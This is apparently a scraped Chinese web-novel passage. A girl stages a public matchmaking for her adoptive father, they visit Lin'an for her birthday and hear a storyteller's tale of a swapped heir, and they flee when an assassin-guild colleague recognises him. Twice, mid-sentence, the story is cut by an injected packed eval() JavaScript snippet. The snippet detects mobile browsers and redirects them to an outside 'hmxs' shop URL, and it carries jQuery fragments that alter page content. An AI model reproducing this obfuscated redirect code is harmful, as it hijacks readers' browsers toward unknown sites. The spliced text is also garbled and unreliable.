散学后,白羽跟小胜来到他家,小胜他爹和他奶奶不在家,阿香姑姑在灶房忙活,小胜在他娘面前冒了个头就被白羽赶出去了,白羽留在厨房开门见山道:“阿香姑姑,我想给我爹找个伴儿,你有合适人选吗?” 阿香擦萝卜丝儿的手往前一滑,差点把手擦了,回神后把萝卜扔进盆里,难以置信问道:“你,你听谁说的?” “你们昨天晚上不就在说这个事吗?”白羽很直白,“我爹不愿意,多半是因为我,现在我愿意了他肯定就愿意了啊。” 他们昨晚说这些话的时候把两孩子都支出去了,念儿肯定不是偷听墙角的人,那就是她家那个小孽障了,阿香暗自咬牙,发誓等会儿要把小胜的屁股打开花。 白羽不管谁的屁股会开花,仍旧问道:“阿香姑姑,你有合适的人选吗?” 阿香抿了一把滑下来的头发,半信半疑道:“你果真愿意啊?” “那当然了,我爹这么多年一个人也不容易,我如今还小能陪他好些年,但我到时候嫁人了,他孤苦伶仃一个人,那时候再找就不好找了,还不如现在就找一个能过得长长久久的,你说是不是?” “真是好孩子!”阿香看着白羽欣慰得很,这孩子打小她就喜欢,现在是越看越爱,她听白羽说‘自己到时候嫁人了’眼神闪烁不定,心道你到时候嫁给谁还不一定呢!她肯定要替自家小胜求一求吴大哥的,两个孩子从小一起长大,跟吴大哥和大嫂一样是青梅竹马,能成的可能性肯定很大。 扯远了的阿香自行拉回神思,看着眼前的小姑娘说:“倒是有几个托我给你爹说亲的,但是有的人我还没见过,这一时也说不清楚。” 几个? 那不行,捞到人的概率太低了。 白羽思忖后,大胆提议:“海选吧,阿香姑姑你这几天就在附近几个镇子上也散播消息,我找人给我爹画一副画像,咱们就等着人上门,再从里面选合适的,怎么样?” “这,这么大阵仗的吗?”阿香有点怀疑自己。 白羽:“阵仗越大越好,大了来的人多,才能优中择优。” 也有些道理。阿香默默点头。 “好,那我们就先各自忙起来,准备好了就开始。”白羽交代完准备回家,跟阿香告别:“那就这样定好了,我先回家了,阿香姑姑。” “留下吃饭吧,念儿,我马上就做好了。”阿香挽留。 “不了,我爹最近下值早,估计都已经做好了,我得赶紧回去了。” 白羽回家的时候,吴界果然已经做好了饭在等她,见她人影出现在院子里,追出来问:“怎么又回来晚了?” 白羽一边舀水洗手,一边胡诌了一个理由:“夫子拖堂了,他嫌小胜几个常用字分不清,多说了几句。” 吴界给她递擦手巾,低声抱怨道:“你们这个夫子怎么回事儿,他就收了两个学生,早上嫌你字写不好,下午嫌小胜认不清字,你们俩才几岁,他自己又是什么天才!整天看不上这个看不上那个的!” “好了好了,我们不说他了,我都饿了,吃饭吧。”白让夫子背了锅,眼看吴界越说越生气,白羽连忙哄着他先吃饭。 接下来几天,阿香有空了就跟镇上几个大娘阿婆说道,她又把吴界要找续弦的事跟吴阿姐说了,吴阿姐人脉更广,这一下子十里八乡的人家都知道了。 白羽则是求着她老师给她画一幅吴界年轻时候的画像,王夫子自诩文雅人士,又精研过“君子六艺”,于画技上更是炉火纯青,小学生有事相求的时候嘴甜得不行,王夫子半推半就就给画了。 画像一传出去,有意向的人更多了。 白羽一看时机合适,打算收网,她明天休沐不上课,就把相看时间定在了明天一早。 白羽这几天十分乖觉,吴界人逢喜事,自认为他早回去半天是很有效的,父女感情更加好了,武馆的师生看他这么高兴,都以为是盛传“相看续弦”的事,也没人提起来触他霉头。 是以,全镇包括附近几个镇上的人都知道他要取续弦了,就他不知道。 当他知道的时候,镇东头已经排起了长龙,来“相看”的适龄女子、看热闹的大爷大娘、不知道干什么但哪儿人多往哪儿凑的无业人士已经塞满了整条街。 吴界着急忙慌从武馆赶回来,左拥右挤才从人群里挤回他家门口,看到院子里摆了一条长桌,白羽坐在长桌后面,一边询问一边提笔记录,阿香和吴阿姐像两个大护法一样守卫在她左右,桌旁还有一杆旗帜,上面挂着一张年轻男子的画像,细看下,那是他年轻时候的样子。 吴界站在门口,看着一群女子排队在院子里进进出出,往后面一看,几乎看不到队伍尾在哪里,竟然还很有秩序? 他按了按暴突的太阳穴,深呼吸几口,防止自己气过头了,经脉倒转,气血上涌,爆体而亡,避开门口来往的人群,往院子里边走边低吼:“沈念!你在干什么?” 白羽抬头看到脸色铁青的吴界,脸上没有一丝慌张,她还有耐心为面前的女人介绍:“你看,这就是我爹,跟画像上比虽然老了一点,但还是很俊俏的,是不是?” 吴界黑着脸,阿香和吴阿姐都察觉气氛不太对劲,战战兢兢地从长桌后站起来,唯独白羽天不怕地不怕,依旧镇定自若诶接着刚才的问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780780|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 询问。 “你刚才说你叫什么名字?” …… “除了这个还有别的名字吗?” …… “有没有跟兰花相关的名字,乳名或者外号都行?” …… “噢,没有啊……那平常话多吗?” 桌前的女人也感觉到氛围不太对,谨慎地回答问题时,不忘擦擦额角沁出的汗,又听面前这小姑娘问她“平常话多不多”,她连忙摆手:“不多不多,话不多,就喜欢低头干活。” 哦,没一个符合的。 白羽失望地在纸上做下标记,让她出去了。 在下一个人进来之前,已经等了好一阵的吴界插队站在白羽面前,火山爆发前一般沉怒道:“沈念,你在做什么?给我个解释。” 找不到人,白羽正烦着呢,后面还有那么多人没有查问,保不齐宣兰就在里面埋没着,哪有心情应付吴界,皱眉看着他:“我这里还有事情,你先让开。” 吴界看向身后,下一个人已经迫不及待了,他的气没消,父女两人对视,都不肯退让,最终还是吴界让步,他退至一旁,打算看看她到底要搞什么名堂? 下一个人坐定后,白羽继续老生常谈地问那些问题。 没有。 再下一个。 下一个…… 终于有一个三十岁的女子名叫“雪兰”,白羽一下子来了精神,眼神亮晶晶地瞧着人家,问到话多不多时,那女子红着脸看了杵在一旁的吴界一眼,小声道:“话不多。” 白羽不死心,又问:“那胆子小吗?” 那女子诧异地收回眼神,思索一会儿,得出结论,这姑娘给她爹找老婆,肯定是希望找能照顾他们父女俩的,话不能太多,胆子要大,她立刻道:“胆子挺大的,我们家有一次进来一条蛇,家里人都怕,就我不怕,我一手就捏住它的七寸,最后拿出去扔远了。” 白羽:…… 够了够了,实在是够了! 宣兰是个被一条小虫子吓到都要钻到叶启怀里“嘤嘤”哭的胆小的姑娘,徒手抓蛇,这能是吗? 白羽低头记下,面有菜色地让她出去了。 陆续有人进来,白羽不厌其烦地问那几个问题,记录、询问、记录、询问,循环往复。听的多了吴界心里的怒火逐渐平息下来,他开始思考猜测白羽是不是在找什么人? 越听越觉得是,总结下来,她在找一个名字跟兰花有关,年龄不确定,性格比较胆小,但又比较热情率真,同时话很多的女子。 这个人是谁? 她怎么认识这个人的? 吴界在自己所认识的人中一一检索,最后发现沈言晴最符合白羽要找的人的形貌,她除了名字里不带兰,不胆小,其他都很符合。 沈念,她怎么会知道沈言晴的性格的? 她出生的时候沈言晴就死了,她甚至没见过沈言晴就被他抱走了,难道这世上真有所谓母子连心?还是沈言晴给她托梦了? 吴界阴晴不定地站在一边听白羽车轱辘那些问话,从早到晚,终于把所有人都过了一遍,白羽写了长长一卷记录人名信息的卷轴,她站起来伸了个懒腰,活动活动筋骨。 阿香和吴阿姐家里都有事,没办法一天都陪她耗在这里,到了做饭时间就回去了,吴界后半天就没去武馆,中午给白羽做了顿饭,下午看她继续折腾。 这会人都散了,他也该去做晚饭了。 晚饭后,父女俩坐在桌前准备谈话,白羽一边听吴界训话,一边翻看手中卷轴核对。 吴界按住她的卷轴,强迫她抬起头看着他,沉闷的声音问道:“你在找人?你找她做什么?” 白羽问话时目的性很强,她不觉得吴界猜不出来,听他这么问也没有诧异,很痛快地承认了,“对,我在找你的妻子。” “不,”吴界摇头,“你在找一个很具体的人,你找她做什么?你怎么会认识这个人的?你什么时候认识的她?” “你认识这样一个人?” “我不认识。” 今天已经是最大规模的摸排遴选了,宣兰不在这些人里面,要么是年龄不对,要么是地域不对,人还是太少了,如果可以召集全国所有年龄段的女子,是不是更有可能找到宣兰? 谁有这么大权力? 有这么大权力的人,在皇室或者官场中,掌管人口户籍的官署机构。 吴界锲而不舍地追问:“念儿,你找这个人究竟做什么?” “都说了我是为你找的,找来给你做续弦。”白羽不耐烦道。 吴界也很崩溃,“你为什么非得强迫我找一个,我说了我不需要,我一个人能把你好好养大,你完全不需要担心我会照顾不好你,究竟为什么非要这样?” “可是我也没有理由要求你为我早亡的母亲守节。”何况你还不是我亲爹。这句话白羽没说出口。 吴界扶住白羽双肩,看着她那张十分稚嫩的脸颊,坚定不移道:“你可以!念儿,你可以要求我,你有权利要求我不为你找第二个母亲,你是我的女儿,我是你父亲,我们两个才是彼此相依为命的人,你是这个家里最重要的成员,你可以拒绝任何人加入我们的家,不为你早逝的母亲,只因为你是我的女儿,你就可以!” 白羽愣愣地看着吴界过于坚毅的五官神态,他们很少谈到她的母亲,白羽甚至不知道她姓甚名谁?家在何方?也不知道她外祖家还有什么人? 所有自己不是吴界的亲生女儿,她亲生父亲不知道发生了什么,她母亲才把她托付给吴界照顾,这一切都是白羽自己的猜想,吴界从来没有出口证实过。 她突然回想起,从她睁眼后第一眼看到他,再到那个破落低矮的屋子里每天能喝到温热新鲜的羊奶,再然后是临安城外镇子上安宁祥和的家,他拿出很高昂的报酬为她找乳母,他学着给她缝衣服、梳头发,因为饭做的难吃,就开始下功夫学厨艺,因为她喜欢追着王夫子问东问西,他就拿出所有积蓄去找王夫子说情,让他收下她这个学生…… 如此一桩桩一件件,吴界这个父亲真的对她很好很好。 有没有血缘关系,似乎没那么重要。 29. 生辰 这场“相看”的闹剧告一段落,吴界后来也没有怪她,只是说让她在自己家里怎么小范围的胡闹都可以,不可以再像这样闹大,不可以引人注目,不可以太出风头。 白羽不理解,但吴界给的爱很足,她也照做。 倒是她老师王夫子知道这个事后,狠狠地惩罚了她一顿,给须发花白的老先生气得吹胡子瞪眼睛拍桌子,全无儒士风度,指着她骂“简直荒唐”,吴界又提了一堆礼上赶着道歉,最后王夫子罚她把《礼记》抄十遍才作罢。 就这么闹腾着,白羽转眼又快五岁了。 这年临近年关,腊月下旬,白羽要过五岁生辰,她自从被带来这个镇子上,从来没有出去过,从书中和别人嘴里听到的都是临安城怎么繁华热闹,怎么街市灯火如昼,因此十分向往,想去见识一番。 跟吴界说了以后,吴界似乎想了很久才答应带她去城里玩。 于是他们约定好白羽生辰那日出发去临安城,看完晚上的花灯再返回家中。 白羽三岁多的时候,根骨长得差不多了,吴界就开始逼她每日扎一个时辰的马步,随着年龄长大慢慢增加,如今她每日必须扎两个时辰的马步,再打一套拳法。 对此,白羽深恶痛疾。 时间来到腊月二十一日,清早,白羽拿出吴界昨夜送给她的一身衣服,一套粉白色的小袄子,衣襟上绣着一圈金线压纹的腊梅花,裙摆绣着她的属相——一群追逐月亮的小兔子,看起来十分惹人爱。 这是她目前来说最漂亮的一套衣服,白羽很珍惜地穿在身上。 两人吃过早饭后,吴界叫了一辆马车,他们出发去临安城。 城中果然繁华热闹,比之镇子上的路宽敞不少,虽是半上午,但行人和开门做生意的店铺也很多了,时常能看到穿着对应铺子的小二飞奔着去送货。再往楼宇更高的地方走,有装饰华丽的马车出行,有头戴幂篱的临安贵女进出胭脂首饰铺,更有街市宽敞的地方,杂耍艺人驻扎卖弄,火枪在手上旋转出残影,周身环着一人高的光圈。 白羽想起身边这人前世就是做这个行当的,下意识抬头去看吴界。 谁知吴界也在看她,抬眼往那边瞧了瞧,问道:“念儿想去看那个?” 来都来了,白羽点头。 吴界人高马大的,周围人都比他矮一个半个头,他站在外圈倒是能看见,可怜白羽挤在人群里,抬眼全是别人的屁股。 下一刻,视线莫名抬高了,放眼望去全是发顶,白羽惊喜地低下头,看到的也是吴界的发顶,吴界抓住她的两只手说:“现在能看见了吗?” 原来是吴界看她实在太矮,人群又多又密集,挤进去太费力气,于是把她背起来坐在自己肩膀上。 白羽就着这个优势看完了杂耍艺人的表演,托盘伸到她面前的时候,白羽拍拍吴界的头,吴界就递上来了几文钱,她又伸长胳膊放进锣盘里,一阵“叮呤当啷”的声响后,手持托盘的女子冲她爽朗一笑,白羽也很高兴地笑。 后面他们又去了临安城里时兴的糕点铺,白羽吃到了小镇上没有的精致口味,其中一盘栗子糕吴界看她很喜欢,又让店家多打包了几份准备带回去让她慢慢吃。 午饭是在最出名的盛宴楼吃的,吴界痛快地订了一个包厢,白羽看着他出手阔绰就忍不住忧心,今后日子不过了吗? 侍者送来菜单,吴界又大手一挥几乎把招牌菜都点了一遍,白羽这会儿是真怕了,连忙拽住他胳膊说:“够了够了,点太多了我们也吃不完。” “念儿别担心,今天是你生辰,好不容易来一趟,当然要都尝一遍才满足,不会浪费的。”吴界没听,又加了两道白羽喜欢的菜肴。 甫一上桌,几十道菜铺满了整个桌面,白羽心里暗道吴界奢侈,下筷子的速度一点没慢,每盘菜她都尝了一遍,吃饱了才放下筷子。 下午他们去了梨园听戏,听了一肚子的古典曲目,江湖儿女、恩怨情仇。吴界点了几盘小食,让白羽边吃边听,有一盘炒货很稀有——北边来的松子,吴界想着白羽没吃过这个,也点了让她尝味道。 戏曲唱得悠远绵长,白羽没听过这个,仔细听来也很有乐趣,台上人念唱作打,她很快就进入剧情了。 几个曲目唱完,戏班子退场,听戏的看客意犹未尽,但也有人中途离席,白羽看走的人多,回过头问吴界:“唱完了,我们要走吗?” 旁边桌一个锦衣长袍的公子哥插话:“小姑娘别着急啊,戏唱完了还有好戏没登场呢!你们来得巧,今日正好是‘畅言先生’出场日,上回他的曲目没讲完,大家都等着听后边的,你别看这会儿离开的人多,等一下进来的人更多,出去了再想进来可就难了!” 这“畅言先生”又是哪路神圣? 听着像是个说书的,白羽想见识见识,吴界又续了桌。 一刻半刻后,果然如这锦袍公子所说,偌大的梨园楼顷刻间填满了人,满场座无虚席,后面来得晚的人,就只能站着听,甚至廊道和门口都站有人。 白羽小声跟吴界说:“这‘畅言先生’这么出名吗?这些人竟然都是来看他的场的,比刚才听戏的人多多了。” “我也不知道。”吴界没听过“畅言先生”的名号,看到这么多人也很震惊。 他们等了没多久,方才的戏台子上抬出来一张长桌,桌上摆着笔墨纸砚和一块珠圆玉润的惊堂木,下人刚摆好桌椅,“出将”的帘子后面走出来一个古稀之年白发白须的老者,他一手捋着胡须一手挪开椅子坐下,眯着眼睛环顾四周和楼上,瞧见这么多人后裂开满嘴嶙峋的牙齿笑了起来,老迈的声音里掺着畅所欲言的快意。 “怎么来了这么多人?感谢各位主顾照顾小老儿生意。”他对着座中众人作了揖,坐下后说:“废话不多说,我们书接上回。上回书说到这叶太后听皇帝的话去劝降自己的姐姐姐夫,她到了才发现姐姐竟然和自己一样身怀六甲,细问时日月份更是震惊,两人月份一致,日期也是相差无几,姐妹俩都很高兴,叶太后还笑言两个孩子要是同时出生就给定下儿女姻缘。” “可是她这自立为王的姐夫不愿降啊!叶太后舟车劳顿而来,除了养胎,还要惦记着皇帝派给她的任务,每日不厌其烦地劝说姐姐姐夫归顺后皇帝的赏赐和封地都不会差。” “时间来到她要生产这日,宫里随她出来的宫女和接生嬷嬷有条不紊地安排为她接生事宜,叶太后生的艰难,前文说了她是怀了六个月的身孕跋山涉水来到这藩王起事之地,待了没两个月就要生产。与此同时,她这姐姐也在这一日发动了,两姐妹同时生产,叶太后这边努力了半晌,生下来一看,是个皇子,高兴劲儿还没过呢,产婆伸手一探,当即惊惧跪地,说是个死胎!” 群情哗然! 大家都听得津津有味,这变故一出都开始交头接耳起来,畅言先生也不急,慢悠悠地端起茶杯开始品茶,等待舆情发酵。 他品完茶,咂咂嘴继续说:“叶太后产下死胎,她不敢让这消息传回京去,于是下了死命令让随身的人都把嘴缝上,谁敢透出去半个字,全家老小都会死绝。就这样消息瞒了下来,可是她能瞒过远在京城的皇帝,却瞒不过近在咫尺的姐姐姐夫,叶太后姐姐听说了这事,月子中来到妹妹房中探视,还抱着自己的孩儿,那也是一个男胎,叶太后看着这个和自己孩子同时降生的婴儿,一个想法在心中渐渐成型。” “姐妹两个一合计,打算使出这招‘李代桃僵’之计。此计能成少不了她姐夫的配合,于是姐姐将这计划告知了丈夫,姐夫一听自己的孩子能成为皇子,甚至是未来的皇帝,这不就是光明正大地拥有了整个天下吗!如何能不同意?三人这么一商量,自立为王的姐夫上了降书,皇帝不费一兵一卒免去一场大战,依言封了这姐夫亲王位,封地和赏赐无数。叶太后任务完成,皇帝又秘密派了人手接她回宫,此事不宜大张旗鼓,皇帝也知道叶太后已产下一子,允诺等叶太后回宫就封这孩子为太子。叶太后返京途中下令秘密处死为她接生的宫女和产婆,回到宫中后,皇帝见了孩子龙颜大悦,立马下旨封叶太后之子太子。太子成年后处事极得圣心,皇帝百年后,太子登基为帝,叶太后名正言顺成为当朝太后,至此‘李代桃僵’一计已成。” “啪”地一声,畅言先生一拍惊堂木,座中人如梦初醒,纷纷提问道:“那这皇位如今不是换了太后姐夫家来坐了?儿子换人了,皇帝就没怀疑?” 畅言先生老神在在一笑,“如何怀疑?这皇子本来就是叶太后姐姐之子,一母同胞的姐妹,长相自然相似,太子长得像自己的母亲,皇帝又不知太后姐姐有孕一事,自然是无从怀疑啊!” “那那个封了王的姐夫后面就没说什么吗,皇位已经换成他们家的种了,他没有趁此做些什么?”有人又问道。 “你也说了,皇位已经换成他们家的种了,自己为王,儿孙世世代代都是皇子王孙,还有什么不满足的?无非是座上皇帝改个姓的事。”畅言先生道。 “先生先生!”有人看畅言先生在收拾东西,急忙跳出来提问:“那换来的皇子成了太子当了皇帝,他知道自己的身世吗?知道了又是怎么做的?” “知与不知他都不会做什么,只会让往事沉寂。” 那人还不死心,又问:“既然当年随叶太后出宫的人都已经死了,这‘换子’一事又是怎么传出来的呢?” 畅言先生起身一拱手,老态龙钟道:“自然是那有心之人翻出来的。各位看客已听了一袭故事,小老儿这便告辞了。” 看着畅言先生走进“入相”的门洞后,白羽久久不能回神,她知道人间帝王极重血统,这故事里太子都已经换成别人了,后来又当了皇帝,那皇室这一脉从这里不就断绝了?除非日后有哪位皇帝绝嗣,再从宗室中抱养先皇帝这一支传下来的子嗣,不过这很难了。 就是不知这畅言先生讲的又是哪朝的秘辛? 白羽感慨完,转身对吴界说:“真是一段奇闻异事,我们走吧。诶,你怎么了?” 白羽跟他说话,吴界像是没听到似的,眉头紧锁,周身疑云重重,跟丢了魂一样,白羽伸手在他面前挥了挥,看他注意力终于转移到自己身上,又问了一遍:“你怎么了?” “没,没什么,走神了。” “这么好的故事你都能走神?”白羽摇头感叹吴界果然只知道舞刀弄枪。 他们走出梨园,天色已经慢慢暗下来,远处金乌西坠,浓云追捕。两人趁着天还没完全黑下来,找了一家餐馆吃饭。 吃完饭,吴界建议道:“看了花灯我们就回去吧,太晚了不安全。” 今天已经很满足了,白羽乖乖点头同意。 两人来到花灯这条街上,入目是各色各样的灯笼,夜晚烛光摇曳,果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780781|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应了“灯市如昼”的说法,临近年关,有很多手艺人也出来开摊,白羽见到了更多样式的漂亮灯笼,吴界给她买了一盏手提的兔子灯。 白羽打着灯笼看到有一个卖糖画的老妇人,她手艺精湛,用一勺糖浆能画出美丽的风景,也能描出眉眼生动的人物,白羽感兴趣地指着摊位对吴界说:“我要那个!” 花灯也看完了,吴界心中越来越不安,他压下焦虑不安的情绪,哄着白羽说:“好,买完糖画我们就回家,好不好?” 白羽点头,吴界跟着她去了糖画摊,老妇人问白羽:“小姑娘要糖画吗?你想画个什么?” “想要,我也不知道想画什么。” 老妇人和蔼地笑了笑,看着她说:“那我就给你画个你提着灯笼的画吧。” 白羽看着自己的新衣服和小兔子灯笼,欣然同意。 老妇人还在烧糖作画,吴界就陪着白羽站在旁边等。变故陡生,人流如织、摩肩接踵的灯市里,一名男子抱着一个包袱在前面撒脚狂奔,一个追得上气不接下气的女子坠在后面叫喊:“别跑,把包袱还给我!那里面是我的全部身家!” 原来是个小贼,眼看人快要经过这里,吴界及时出手三两下制服了这偷东西的贼子,与他同时出手的还有一名头戴斗笠的男子,待那丢了东西的女失主赶上来,拿到包袱后对他们千恩万谢,两人又是同时出声:“不必。” 吴界看了一眼身手不错的斗笠男子,没什么兴趣地转身,那人却一把摘下斗笠,十分震惊地看着吴界,惊叹道:“怎么会是你?” 吴界回头看到斗笠下的真容,心道:遭了! 他二话不说,撒腿狂奔至白羽身后,抄起她就跑。糖画已经画好,一个栩栩如生、惟妙惟肖的小女孩提了一盏兔子花灯,白羽正伸手去接,这一下指尖与糖画错失,糖画腾空,随即摔碎在地上。 白羽叫了一声:“啊,我的糖画!” “管不了那么多了,念儿抱紧爹!”吴界来不及解释,揽着白羽在人群中发足狂奔,身后那人却如影随形,根本甩不掉。 周围的人还不知道怎么回事,明明刚才还同时出手制服贼寇的两人,怎么又开始互相追逐起来了,大家还疑惑着,吴界抱着白羽已经跑出了三条街,身后人紧追不舍。 吴界把白羽抱在身前,让她的手搂住自己脖子,双腿盘在他腰上,紧急叮嘱一句:“念儿抱紧!”然后一提力跃上房顶,身轻似燕地在人家屋顶上跳来跳去。 白羽根本摸不着情况,但她也察觉出危险,本能地抱紧了吴界,整个人牢牢贴在他身前,她的视角里能看见后面那个黑衣男,只见他也很轻盈地跳上房顶,和吴界一起飞檐走壁。 一连跑过好几条街,还是甩不掉那人,白羽突然想起自己手里还提着花灯,这点光亮在黑夜中十分显眼,她一狠心一咬牙将花灯扔了出去。 吴界提速,身后那人喝道:“站住,我知道是你!” 吴界充耳不闻,几个起身隐入一条深巷中,黑衣人再追却没看见他的人影,在巷子里来来回回穿梭好几番,假装走出去片刻后又返回,还是没动静,他这才承认自己把人跟丢了,嘴里骂了一句:“该死!”跃上房梁,再没了音信。 白羽屏息心跳如雷地缩在吴界怀里,两人确定外面彻底没了声响后,吴界才从一户人家二楼晒台的柿饼架后面跳出来,又快速离开了这条街。 他们走后没多久,那黑衣人又悄无声息地返回巷子,在吴界刚才躲藏的二楼晒台驻足,看着墙角那枚新嵌的足印,恼怒地掀翻了人家的柿饼架子。 吴界趁着夜色混出城,然后抱着白羽在林间轻身穿梭,白羽下巴压在吴界肩膀上,离得这么近她也没听到他奔跑时急促的呼吸声,越发觉得自己对他误解太深,他的武功明明已经出神入化,轻功更是风过无痕,只是追他们的人到底是谁? 是因为他?还是因为……她? 四下无人,白羽轻声问吴界:“刚才那人是谁?他为什么要追我们?” “暂时没空跟你解释,那人是我的仇家。”吴界说:“我们回家拿点东西,趁人还没搜过来,连夜就走,再换一处地方居住。” 白羽不再问了,两人回到家后,吴界收拾了行李,白羽看见他又背上那个箱子,提了两包他们的随身物品,然后带着她来到阿香家。 阿香在院子里,吴界没多话,直接叮嘱道:“阿香,劳烦你帮我带话给吴阿姐、王夫子,还有武馆的程老师傅,如果有人问起就说从来没见过我们,没有人问那更好,我们要离开这里了。” “好,话我会带到的。”阿香一头雾水,看着吴界已经背好的行囊,又看了一眼白羽,问道:“吴大哥,发生什么事了?你们这是要去哪?” “我们走了,再会!”吴界不答,抱起白羽就没入夜色中。 白羽隐约听见小胜跑出来哭喊,问阿香她要去哪里?阿香捂住了他的嘴,之后就听不到了。 吴界背着箱子和两个包袱,如同来时一般走出镇子,白羽在他怀里,轻声说:“放我下来吧,我自己能走。” “没事,爹不累。抱着你走得快!”吴界声音里确实没有一丝疲惫,他扬声道:“念儿,我们父女要开始亡命天涯了!” 明明是一句丧气话,却让他说出了豪情万丈的感觉,白羽心头因为突生变故的惶恐散去了,露出破涕为笑的表情。 30. 追杀 两天后,镇子上来了一批陌生人。 他们皆是青年男子,来了也不和任何人寒暄,直奔从前吴界父女居住的小院,搜查一番未果,一部分人离开,一部分人仍然留在这里开始挨家挨户探查情况。 他们先是打探从前住在这里的男子叫什么名字,很快得知了那人如今化名“吴界”。 又查问到哪几家与吴界关系好,镇上百姓不知他们用意,询问缘故后,他们却只道那吴界是家中亲戚,因为家道中落来此避难,如今特意寻来是想感谢这里的人对他的照顾。 于是,镇上百姓很热心地交代了经常与吴界来往的几家人名单。 今日他们搜查到了阿香家。 阿香热情好客地让人进了屋,奉上茶水,听他们问起情况,睁眼说瞎话道:“我都不认识他们,就是刚来的时候他家有个女婴,小娃没奶喝,是我喂大的,平常也就没啥交集了。” 女婴?查问的两人对视目光如炬追问道:“那女婴跟他什么关系?” “瞧这位小兄弟说的,”阿香笑道:“一个成年男子抱着一个婴儿,那肯定是他女儿啊!” 阿香滴水不漏,他们多的也问不出来了,只能打道回府。出了门后,略微年长一些的就是那晚在临安城追得吴界父女上蹿下跳的斗笠男。他似乎有些身份,旁边和他一起来的年轻男子问道:“大人,随春风怎么会有女儿?这事需要上报长风主吗?” 那斗笠男子垂眼沉思,然后掀起眼皮说:“暂时不必。” “是!”手下应道,又问:“大人,还有一个教书先生家,我们现在去吗?” 斗笠男冷笑一声,声音里倾泻出透骨的凉意,沉声道:“你知道那教书先生是谁吗?你就敢去查!那人是前弘文殿侍讲学士,是皇帝和皇子们的老师王均臣,有太师衔,查他,不要命了!” 手下人低头听训,唯唯诺诺地跟着斗笠男走出镇子。 两日时间,吴界带着白羽逃出了上千里,她们在湘水地区暂时落脚,宿在一家偏僻的客栈里。 这一日吃过午饭,两人回到房间后白羽就忍不住了,她总觉得眼前处处是谜团,而吴界就是最大的一个。 剩下的,她的身份也是谜团,吴界对比讳莫如深,虽然问了不知道他会不会告诉她,但是不问就永远不会知道。 白羽下定决心后,走到吴界面前,张开双臂拦住他的去路,斩钉截铁道:“我们为什么要逃,逃去哪里?还有你到底是什么身份,为什么会有仇家追杀?” 吴界蹲下来看着她的眼睛说:“念儿别怕,爹会保护你的。” 白羽说:“比起密不透风的保护,我更想知道真相。” 吴界幽微地叹了一口气,眼神复杂地看着白羽,她从小就与众不同,过于早慧对她这样的身份来讲也不知是好事还是坏事。如果告诉她真相能让她好受一些的话,那么让她知道也无妨。 “来,我们坐下说。”吴界拉起执拗的白羽,两人坐在火盆前,吴界一边烤火一边说:“我的身份是长风无影阁的一名刺客。因为一次任务,我意外得知了一些机密,担心被灭口,所以策划了一起假死叛逃计划。与此同时,偶然接到你母亲的传信,她要将你托付给我,我便两件事并作一件事同时进行,你幼时能记得的那间破落房子就是我接到你后第一个落脚点,然后我们就搬来了临安城。你生辰那天夜里在城里追我们的人是我从前的同僚,我们都没有做伪装,所以一下子认出了对方,他得知我还活着的消息一定会上报阁内,阁中最高掌权人是长风主,而他会不遗余力置我于死地,所以我们必须逃。” “至于我们要去哪儿?”吴界自己也不确定蜀地是否真的安全,他迟疑道:“且走且看,哪里安全了就在哪里安家。” 白羽了然地点点头,知道了秘密会被灭口,她不问这个。 但是吴界的解释中又有新的谜团诞生,她追问:“我刚才听到你说是我娘把我托付给你的,这什么意思?我娘又是什么身份?” “什么意思,你很早就猜到了,不是吗?”吴界好笑,她从来没叫过他一声“爹”,“至于你娘的身份,我不能告诉你,对于现在的你来说,知道这些太过危险了。” 白羽眼神闪烁,她是从小就猜到吴界很可能不是她亲爹,但是她娘是谁,她今天必须搞清楚,白羽反问:“为什么?我娘的身份我为什么不能知道?你不是说你会保护我吗?” “是,你发生任何危险我都有自信能护住你,唯独这个不行,这个危险来源我没那么大本事硬抗。”吴界说。 白羽沉默,吴界的轻功她见识过了,堪称飞檐走壁、风过无痕,他能做刺客武功也差不了,是什么样的危险让他也觉得棘手,并且守口如瓶至此。天下之大,大不过皇权,难不成她母亲的死是皇室中人造成的? 白羽换了个问法,“那我爹呢?我是说我的亲生父亲,他还活着吗?” “他死了。”吴界语气淡淡的,“你还记得你每年生辰我都会让你上两炷香吗?你父母同一天祭日,你父亲早走一步,你母亲生完你咽气的。” 一定是因为得罪皇权,甚至是得罪皇帝才会这样死去,是满门抄斩吗?白羽皱眉,继续问:“那我父亲是个什么样的人?” “念儿,别再套话了,我什么都不会说的。”吴界摇头,他闭上眼睛道:“你抓紧时间睡一觉,入夜了我们就再次启程。” 谋算被戳破,白羽也没办法,她看吴界是不会再搭理她了,道别后回到自己的卧房中躺下,强迫自己闭上眼睛睡觉。 这一觉睡到了天黑,白羽是在睡梦中被吴界喊醒的,他在外面敲门让她起来吃饭,吃完饭后启程。 酉时末,寒风呼号,雪将落。 一辆低调简陋的马车停靠在客栈门前,吴界背着箱子和行囊坐上驾车的位置,白羽随后进了马车里面,今夜他们要连夜赶路,最好能赶在长风无影阁的刺客们找到他们前进入蜀地,那里可能会安全很多。 马车在夜色中破风而行,很快就进入了山林中。 白羽坐在拥起的棉被堆里,她的视线看向车厢角落那只木箱子,箱体漆黑,边缘镶嵌有铜制薄片,她看着吴界从那个破落矮屋里将它背到临安小镇,如今又跟着他们一起踏上逃亡路,她很想知道里面究竟装了什么? 